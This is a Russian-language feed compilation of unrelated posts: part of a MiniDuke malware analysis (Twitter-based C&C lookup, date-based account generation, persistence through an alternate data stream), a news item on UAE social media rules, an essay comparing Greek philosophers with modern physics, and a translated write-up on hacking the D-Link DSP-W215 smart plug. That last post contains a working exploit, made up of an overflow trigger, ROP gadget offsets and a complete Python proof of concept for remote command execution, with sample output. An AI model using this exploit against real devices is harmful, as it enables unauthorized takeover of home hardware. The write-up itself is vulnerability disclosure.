  • system_info – информация о системе, зашифрованная, а затем закодированная через base64.




Пример такого URL приведен ниже.


Полезная нагрузка загружается с использованием API urlmon!URLDownloadToFileA и представляет из себя файл с именем «fdbywu».




Рис. Функция получения полезной нагрузки.


Загруженная полезная нагрузка представляет из себя фальшивый файл изображения в формате GIF8. Этот файл содержит зашифрованный исполняемый код. MiniDuke обрабатывает этот загруженный файл аналогично своей предыдущей версии. Целостность данных проверяется с использованием RSA-2048, затем данные исполняемого файла расшифровываются и сохраняются в отдельном файле. Далее файл запускается на исполнение. Для проверки целостности исполняемого файла внутри GIF используется открытый ключ RSA-2048, который аналогичен используемому в предыдущей версии вредоносной программы.


В том случае, если MiniDuke не удается получить адрес C&C-сервера из аккаунта в Twitter, он генерирует специальное имя пользователя для поиска, основанного на текущей дате. Поисковый запрос изменяется каждые семь дней и напоминает механизм резервного копирования в прошлых версиях вредоносной программы, которые использовали поиск Google. Реализацию этого DGA алгоритма на Python можно найти здесь.


Модуль TwitterJS встраивается в копию системного файла Windows cryptdll.dll. Вредоносный код вставляет в эту системную dll блок кода, перенаправляя на этот код одну из экспортируемых функций. Ниже на скриншоте показана таблица экспорта модифицированной версии этой библиотеки.



Этот файл (модифицированная копия cryptdll.dll) затем сохраняется как поток данных NTFS (ADS) для файла NTUSER.DAT в директории %USERPROFILE% (системный файл, который представляет из себя часть системного реестра). Далее вызов этой библиотеки регистрируется как команда Open для диска. Таким образом она будет вызываться каждый раз, когда пользователь будет пытаться открыть логический диск через проводник. Ниже приведено содержимое файла скрипта init.cmd, который используется вредоносной программой для установки модуля TwitterJS (cryptdll.dll) в систему.



Будучи загруженным, TwitterJS инициирует создание экземпляра COM-объекта JScript и расшифровывает сам файл JScript, который содержит логику работы модуля.



Перед его запуском, MiniDuke применяет к нему обфускацию. Скриншоты ниже показывают результат двух различных обфускаций. Мы можем увидеть, что переменные имеют различные значения. Возможно, это делается для того, чтобы препятствовать их исследованию со стороны различных систем обнаружения, которые сканируют код в точке входа JScript.




Рис. Результат первой обфускации.




Рис. Результат второй обфускации.


Назначение этого скрипта заключается в использовании Twitter для нахождения C&C и извлечение кода JScript для исполнения. Он генерирует аккаунт пользователя Twitter для поиска информации. Поиск осуществляется с использованием выражения, которое меняется каждые семь дней. Далее бот посещает профили пользователей Twitter, которые были получены в результате выполнения поискового запроса и ищет в твитах ссылки, которые заканчиваются на «.xhtml». Как только такой URL был найден, бот берет строку ссылки и заменяет «.xhtml» на «.php». Информация о компьютере внедряется в параметр Accept HTTP-заголовка.



Первая ссылка на полученной странице должна содержать данные, закодированные base64. Название атрибута ссылки используется в качестве ключа для алгоритма XOR, используемого для расшифровки JScript. Наконец, Miniduke рассчитывает хэш извлеченного скрипта и сравнивает его с хэшем, зашитым в его коде TwitterJS. Если они совпадают, полученный скрипт исполняется с использованием вызова eval().



Алгоритм хэширования, используемый в этом компоненте, очень похож на SHA-1, но не идентичен ему, так как на выходе получаются разные хэши. Мы решили выяснить, что именно авторы изменили в оригинальном алгоритме. Одна из возможных гипотез заключалась в том, что алгоритм был модифицирован таким образом, чтобы допустить возможные коллизии (баг). Однако внешне все выглядит похожим на оригинальную схему: используются те же математические шаги и константы. Мы наблюдали различие для коротких сообщений, например, второе 32-битное двойное слово в хэше было отличным от того, которое генерируется обычным SHA-1.


SHA1(«test»): a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

TwitterJS_SHA1(«test»): a94a8fe5dce4f01c1c4c0873d391e987982fbbd3


Мы выяснили, почему второе двойное слово в хэше не совпадает с оригинальным алгоритмом. Проблема вызвана неправильным использованием области видимости переменных (scope). Как показано ниже, в коде SHA-1 переменная f используется дважды. Но в функции Z перед ее использованием отсутствует ключевое слово var, которое объявляло бы ее как локальную переменную. Видно, что потом функция Z вызывается еще раз с глобальной переменной f, которая уже была инициализирована самой функцией.



Возможное объяснение этой ошибки заключается в том, что имена переменных генерировались каким-то автоматическим инструментом перед непосредственным внедрением скрипта в полезную нагрузку. Скорее всего, в первоначальном варианте скрипта эти две переменные имели разные названия.


Нам удалось сгенерировать предполагаемые названия аккаунтов в Twitter для 2013-2014 гг. и проверить активны ли они сейчас. На момент нашего исследования, активным был только один аккаунт @AA2ADcAOAA. Этот аккаунт был сгенерирован упомянутым скриптом между 21-м и 27-м августа 2013 г. и не имел твитов.


Пытаясь обнаружить потенциальных жертв этого вредоносного кода, мы зарегистрировали специальные аккаунты в Twitter и сгенерировали твиты с ссылками для ботов. Нам удалось получить несколько подключений из четырех компьютеров, расположенных в Бельгии, Франции и Великобритании. Мы связались с центрами быстрого реагирования CERT этих стран для уведомления о зараженных компьютерах.


Мы обнаруживаем RTF-документ с эксплойтом как Win32/Exploit.CVE-2014-1761.D и компонент MiniDuke как Win32/SandyEva.G.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


В Дубае за отметку людей на фотографиях в Facebook можно попасть в тюрьму



Telecommunications Regulatory Authority (TRA) в Дубае опубликовало любопытный документ о правилах поведения на Facebook. Данный документ является одной из частей собрания документов под общим названием «The UAE Social Media White Papers» и, как указано в кратком описании, эти документы разработаны специально, чтобы обратить внимание пользователей на правила поведения и публикации в наиболее популярных социальных сетях и не попасть под действия законов ОАЭ.



Законы в ОАЭ прямо запрещают публикацию контента нарушающего общественную мораль, принципы ислама и вообще любой контент, могущий оказаться оскорбительным для правительства или нации. Вот несколько основных правил:


  1. Вы не можете отмечать людей на фотографиях, без предварительного разрешения;

  2. Вы не можете публиковать любых постов содержащих информацию или изображения алкоголя, свиданий или другого контента для взрослых без соответствующих ограничений. То есть, фотографии в стиле «я пьяна, в квартире срач, I’m happy very much» выкладывать можно, но с ограничением прав просмотра только для друзей, ни в коем случае не в открытый доступ;

  3. Что особо порадовало, все вышеуказанное распространяется, в том числе, и на любую нежелательную рекламу, включая спам сообщения.




Также, в данном документ приведены выдержки из «Соглашения об использовании» Facebook, с комментариями, рекомендации по IT-безопасности использования социальных сетей и отдельно выделено предупреждение о том, что Facebook имеет широкие права на любой публикуемый контент.

Ну и в заключение: за нарушение данных правил, грозит штраф до 6 месяцев тюрьмы и/или до 500 000 дирхам (что-то около 5 миллионов рублей) штрафа.


По материалами TRA


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Древние философы и современные ученые

Афинская школа

Сейчас модно рассуждать о схожести современной науки и даосизма или индийской философии. Не удивительно. Восточная философия очень популярна, и в массовой культуре ее предпочитают западной. На мой взгляд несправедливо. Насколько мне известно, философия Индии была подчинена религии, а это не слишком полезно для науки, которая требует максимальной свободы мысли. В Китае философия почти всегда была подчинена идеологии, а это столь же плохо. Возможно, я не прав, в таком случае жду возражений. А сейчас я бы предложил посмотреть, что из «мудрости Запада» было предшественником наших современных научных идей. На самом деле просто поразительно как далеко продвинулась греческая мысль в познании мира. Греки даже обладали всеми знаниями, чтобы изготовить паровой двигатель и начать промышленную революцию за тысячи лет до англичан. Почему не сделали — это иной вопрос. Обычно это связывают с рабством и с неудачными природными условиями. Также и многие современные научные идеи, были известны людям античности. Как правило, основания верить в них у Древних были совсем иного рода, чем у нас. Во многих случаях аргументация была более чем наивной, иногда совсем неверной, а иногда вполне современной. Я бы хотел рассказать о нескольких таких, которые всегда производили на меня впечатление, примерах. Кроме того, я надеюсь, эта статья пригодится тем, кто учится на технических специальностях и изучает курс общей философии, которую надо признаться часто преподают самым скучным образом.

На картинке Рафаэля изображена афинская школа—один из первых университетов в истории


Фалес




Фалес—первый из философов древности, которых называли физиками (кроме них были еще этики и диалектики). И вообще философия с него начинается. Он являлся представителем милетской школы, а также его причисляли к Семи мудрецам—очень древним мыслителям, которые считались великими. Все из семерки сказали какую-либо умную фразу. Конкретно Фалес сказал: «вода — наилучшее». Он предполагал, будто всё состоит из воды. Конечно, с нашей точки зрения это довольно наивно, но не стоит забывать, что ни химии, ни микроскопов у древних в те времена не было, а идея о единой природе всего материального была очень даже прогрессивна. В начале 20-го века, что-то подобное казалось вполне серьезной идеей. На первых этапах атомной теории показалось, что всё состоит из водорода.

Фалес также занимался астрономией. Говорят, он умер, когда ночью отправился наблюдать звезды и упал в колодец, о котором забыл.

Анаксимандр




Анаксимандр— другой представитель милетской школы. Его не удовлетворяла мысль, что все состоит из воды, поэтому он предположил, что все состоит из апейрона, который превращается во все остальные субстанции. Апейрон бесконечен, вечен и «объемлет все миры». Анаксимандр считал, что существует множество миров кроме нашего, что вообще-то не было редкостью для греков. Будто бы когда Македонский узнал от Анаксарха, что существует множество миров, то огорчился, что не завоевал даже одного. Для Джордано Бурно такая идея закончилась плачевно (там было не только в этом дело, но это уже другая история).

Анаксимандр представлял, что между природными элементами, которые образуются и апейрона, протекает борьба, но вселенский закон справедливости возвращает все к порядку, если один элемент (огонь, к примеру) переходит свою меру, так что в его физике выполняются законы сохранения. Миры в этой космологии возникли естественным путем в результате хаотичного движения элементов и эту идею потом разовьет Демокрит, а еще потом Кант расскажет, что из вихря космической пыли возникла Солнечная система. Живые существа по Анаскимандру зародились под воздействием солнечного света из водяного элемента, а человек и все другие животные произошли от рыб. Когда-то человек был совсем не таким как нынче. Анаксимандр доказывал это тем, что младенец не мог бы выжить сам в естественной природе, а значит, когда-то он должен был быть приспособлен к самостоятельному выживанию. Да, это теория эволюции, только без естественного отбора. Впрочем, про отбор мы еще поговорим.

А вот Землю Анаксимандр представлял в форме цилиндра. Ну что ж, даже великие мыслители заблуждаются! Через несколько сотен лет и над нами посмеются за наши представления о Вселенной. Еще одним милетцем был Анаксимен, он считал, что все состоит из воздуха и тоже представлял землю в виде цилиндра.

Эмпедокл




Я упомянул Анаксимена только для того, чтобы перейти к Эмпедоклу, который решил, что одного основного элемента мало и предложил четыре: вода, земля, воздух и огонь, из которых все сложено, как "«стена сложена из кирпичей и камней»". А также есть любовь и вражда — две силы или элемента, которые управляют поведением других, соединяя их и разделяя. У любви и вражды четкие физические свойства, так что это не просто метафоры. Все в мире происходит по случайности и необходимости. В целом вполне современно, назовите первые 4 элемента фермионами, а любовь и вражду бозонами и вот вам что-то похоже на Стандартную модель.

Эмпедокл был еще и религиозным деятелем. Не буду говорить про его религиозные идеи, они ничего общего с его научными не имеют. Тут подойдет термин «когнитивный диссонанс». Отмечу, только, что в конце концов: «Великий Эмпедокл, с пылкой душой, Прыгнул в Этну и изжарился целиком». Он сделал это, чтобы отправится к богам, к которым себя причислял.

Его главное научное открытие состоит в том, что воздух это особая субстанция. Это не было просто умозрительное заключение, он действительно установил это эмпирически, наблюдая за разными природными явлениями. И да, он придумал естественный отбор! Правда, весьма странный. Поначалу будто бы существовали весьма различные существа вроде головы с руками или носа с ногами, всякие гермафродиты и прочие страшилища из которых только приспособленные выжили в конце концов. Эмпедокл считал, что Луна светит отраженным светом и был прав, и что также светит и Солнце и был не прав, как можно догадаться. Он знал, возможно, от Анаксагора, о котором чуть дальше, что затмения вызываются прохождением Луны между Землей и Солнцем. А еще он думал, что свет распространяется с очень большой, но конечной скоростью. И откуда он мог до этого додуматься? Следующий, известный мне, человек, который обдумывал и решил проверить эту идею, был Леонардо да Винчи, но ему ничего не удалось.

Анаксагор




Анаксагор— один из тех философов, кто пострадал за свои убеждения. За то, что он учил будто Луна похожа на Землю и на ней есть горы и живут существа, а Солнце раскаленный камень больше Пелопонеса, его преследовали деятели афинской демократии, протащившие сначала соответствующий закон. Впрочем, вероятно, это было еще и с тем связано, что он был другом правителя Афин Перикла, против которого как раз развернулась политическая борьба. Да, некоторые вещи не меняются со временем. В отличие от Сократа или Бруно Анаксагор остался жив и перебрался в более благосклонный городок. Позже день его смерти был объявлен согласно его воле школьным выходным.

Анаксагор считал, что все вещи бесконечно делимы (похоже на, увы, несколько маргинальную фрактальную теорию материи). Он называл то, из чего состоит материя гомеомерии и я никогда не понимал до конца, что это. Гомеомерии неуничтожимы и бесконечно малы. Во всех телах присутствуют вещества всех видов, а наше восприятие зависит от того, что именно преобладает. Так, скажем, в мясе есть гомеомерии огня, кости, воды, дерева и всего остального, но гомеомерий мяса больше. Когда мы едим мясо у нас растут кости — ведь в мясе они содержаться. Снег белый, но в нем есть немного и сажи, поэтому снег и немного черный. Единственная вещь, которая присутствует не во всем — это ум, нус. Он часть только живых существ. Ум, кстати, приводит в первоначальное движение материю. Нус везде одинаков. В корове он столь же хорош, как и в человеке, но у коровы нет рук, поэтому нус не обеспечивает ее теми же результатам, что и человека. В целом Анаксагор придумывал всему механическое объяснение. Насколько известно он был атеистом.

Гераклит




Мы поговорили о тех, кто считал, что все состоит из воды и воздуха. Неужели не было никого, кто считал, что все состоит из огня? Да, такой философ был. Его звали Гераклит и, говорят, он был очень мрачным человеком. На картине «Афинская школа» он сидит, мрачно подперев себе голову рукой. Гераклит оставил людей и жил в пустынной местности, а перед смертью обмазался навозом. А может он так лечился от водянки. Про всех своих предшественников он отзывался с сарказмом и критикой. Похвалил он только Тевтама, возможно из-за того, что Тевтам считал, что «многие плохи». Гераклит считается крайне великим потому, что он придумал диалектику, которую потом развил Гегель, а использовал Маркс. Все течет, все меняется — говорил Гераклит, единство рождается из противоположностей, а в одну реку нельзя войти дважды, война царь всего и всему отец. Все в мире состоит из вечно меняющегося огня способного переходить в разные состояния. «На Огонь обменивается все, и Огонь – на все, как на золото – товары и на товары – золото». Гейзенберг заметил, что если заменить в сочинениях Гераклита слово огонь на слово энергия, то получится (почти) современная физика. Управляет вселенной закон — логос. Если вам кажется нелепым идеализмом, будто закон природы может существовать отдельно от материи, тогда вам к книжке Виленкина «Мир многих миров».

Парменид




Если Гераклит считал, что в мире все меняется, то нашелся тот, кто считал, что ничего не меняется. Вообще ничего. Его звали Парменид. Он говорил, что бытие вечно, неизменно, бесконечно, едино, материально и имеет форму шара, а пустоты не существует. Я не перечисляю доводы в пользу этого, они не слишком интересны с точки зрения физики. Парменид очень важный и глубокий философ, но сюда я поместил его из-за того, что его идея напоминает статичный мир общей теории относительности, где пространство и время — это единое четырехмерное многообразие. Так же как сейчас с трудом уживаются квантовая механика и ОТО, так, когда-то и философия Парменида доставила большие хлопоты другим философам. К тому же он очень остро поднял вопрос времени и, мне кажется, новые интересные мысли про время появятся еще не скоро после него.

Демокрит




Еще один человек высказал идеи противоположные взглядам Гераклита — Демокрит. Он был атомистом и диалектически дополнял Гераклита. В будущем их часто изображали парно: смеющийся Демокрит и плачущий Гераклит. Итак, все состоит из неразрушимых атомов, которых имеется бесконечно много и которые подразделяются на бесконечное число разных видов. Также имеется пространство, в котором они существуют. Пространство прерывно и образовано (условными) «элементами пространства». Естественно и время также состоит из неделимых кусочков. Между любыми двумя атомами всегда есть расстояние, ведь если бы при соприкосновении двух атомов между ними не было расстояния, то это был бы уже один атом. Но один атом нельзя разделить, а значит и два соединиться не могут.

Атомы очень маленькие и недоступны глазу, но их действие, можно увидеть, например, когда вы смотрите на движения пылинок. А ведь именно с помощью броуновского движения Эйнштейн позже подтвердил существование атомов!

Атомы всегда движутся. Как именно не совсем ясно. Эпикур и поэт Лукреций, написавший поэму «О природе вещей», предполагали, что они изначально движутся «вниз» и тут более тяжелые догоняет более легкие и в результате столкновений сбивают их с пути. Ну а дальше пошло поехало. Демокрит, однако, считал, что в пустоте нет верха и низа, и, видимо, что атомы движутся беспорядочно в разных направлениях, как в современной кинетической теории газа.

Взаимодействуют атомы механически, например, цепляются друг за друга. Боги состоят из крючковатых атомов, поэтому они живут дольше, чем люди и менее уязвимы. Душа состоит из гладких, скользких, подвижных атомов, которые приводят в движение наше тело. В мире Демокрита все механистично и рационально. Нет ни духа, ни ума, ни логоса. Боги — обычные материальные существа. Никаких действий на расстоянии нет (тут должен коварно усмехнуться кто-нибудь из квантовых механиков) — все воздействия проявляются благодаря частицам переносчикам. Любовь возникает благодаря истечениям атомов из тела, которые воздействуют на органы чувств. Также и ненависть.

Существует бесконечное число миров, похожих и непохожих на наш, причем одни разрушаются, а другие возникают. Кстати, существуют и точные копии нашего мира. И как тут не вспомнить Эверетта или другие многомировые концепции! Земля, увы, имеет форму диска, полого внутри, раньше была очень влажной, а потом высохла. Если вы подумаете, что никто из греков не знал правильной формы Земли, то ошибетесь, пифагорейцы знали, что Земля имеет форму шара и достаточно точно вычислили ее размер. Они же считали, что все есть число и точно так же думает физик Макс Тегмарк.

Платон




Платон (на картинке он справа от Сократа, думаю, где Сократ вы догадаетесь ) многое унаследовал от пифагорейцев. Он придумал идеальный мир чистых идей. В этом мире существует математика и вообще все общие идеи. Это отдаленно похоже на «математическую вселенную» Макса Тегмарка, только у того ничего кроме идеального мира и не существует. Кроме того, это похоже на теорию голографической вселенной. В ней вселенная просто записанная на своих стенках голограмма, а у Платона это просто «голограмма» идеального мира. Но больше всего, это похоже на идею Роджера Пенроуза, который считает, что существует мир (математических) идей, влияющий на наш через особые законы физики.

Платон не был атомистом, но считал, что все состоит из атомов математической природы. Точнее, сами атомы — куб (земля), тетраэдр (огонь), икосаэдр (вода) и октаэдр (воздух) состояли из треугольников, а те из точек и линий. А сама вселенная имеет форму додекаэдра. Совершенно невероятно, что после одного из анализов данных WMAP как раз такую версию предложили. Впрочем, вероятно, она не подтвердилась.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[Перевод] Взламываем D-Link DSP-W215 Smart Plug. Снова и опять

Вот мы снова и опять.

image

В последнем эксплоите к DSP-W215 я говорил, чтобы функция get_input_entries не падала, нужно использовать имя «storage_path» в POST-запросе. Так нужно было сделать из-за того, что есть еще одно переполнение буфера, на этот раз в функции get_input_entries, которую вызывает get_input_entries, если имя пост параметра отлично от «storage_path» или «path»:

image


В функцию replace_special_char передается один аргумент — указатель на обрабатываемое POST-значение:

image


Эта функция занимается декодированием URL:

image


Чтобы декодировать URL, функция получает длину строки POST-значения, которую передает get_input_entries:

image

post_value_length = strlen(post_data);


И совершает цикл через все байты post_value_length:

image


На каждой итерации, функция сохраняет один раскодированный (urldecoded) байт, или, если декодирование не требовалось, исходный байт POST-значения в локальную переменную decode_buf на стеке:

image


По сути, делает вот это:



void replace_special_char(char *post_data)
{
char decode_buf[0x258];
int post_value_length, i = 0, j = 0;

memset(decode_buf, 0, sizeof(decode_buf));

post_value_length = strlen(post_data);

while(i < post_value_length)
{
/*
* ...
* If post_data[i] == '%', then it's URL encoded; try to decode it here
* (as long as the POST data isn't URL encoded, this code does nothing,
* so it's not shown).
* ...
*/

// No bounds checking on index j!
decode_buf[j] = post_data[i];
j++;
i++;
}

...

return;
}


Если мы посмотрим на стек replace_special_char, мы увидим, что POST-значение длиной больше, чем 612 байт, переполнит весь стек до первого сохраненного регистра ($s0), а еще 36 байт переполнят сохраненный адрес возврата ($ra).

image



# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://ift.tt/1jYHL46


image

$ra = 0×42424242


Из-за того, что декодирующий цикл использует strlen для определения необходимого количества байтдля копирования в decode_buf, мы должны помнить об ограничении на использование NULL-байта в POST-запросе. Это значит, что адрес возврата, который мы использовали в предыдущих эксплоитах, не будет работать, т.к. он запрос содержит NULL-байт, но мы можем выполнить ROP в libc для достижения такого же эффекта.


Внутри libc, по смещению 0xBA50, находится gadget, который указывает на регистр $a1 на стеке (на $sp+0xB8, если быть точным), а затем прыгает на какой-то адрес, который он получает из регистра $s1:

image

Первый ROP gadget


Если мы перезапишем $s1 адресом со смещением 0×34640 во время переполнения буфера, то выполнение программы перепрыгнет на следующий gadget, который положит регистр $a1 в $a0 (регистр с первым аргументом функции) и вызовет функцию, адрес которой находится в $s0:

image

Второй ROP gadget


Итак, мы убедились, что $s0 указывает на функцию system() (по смещению 0x4BC80 в libc), значит, мы можем вызвать system() с указателем на стек:



system($sp+0xB8);

После добавления базового адреса libc (0x2AB61000) ко всем смещениям, мы можем написать и протестировать PoC для этой уязвимости:



#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf = "foo=" # POST parameter name can be anything
buf += "E" * 612 # Stack filler
buf += "\x2A\xBA\xCC\x80" # $s0, address of system()
buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2
buf += "F" * 4 # $s2, don't care
buf += "F" * 4 # $s3, address of ROP2
buf += "F" * 4 # $s4, don't care
buf += "F" * 4 # $s5, address of ROP3
buf += "F" * 4 # $s6, don't care
buf += "F" * 4 # $s7, don't care
buf += "F" * 4 # $fp, don't care
buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1
buf += "G" * 0xB8 # Stack filler
buf += command # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()


Как и ранее, мы можем выполнять любые команды и получать ответ:



$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.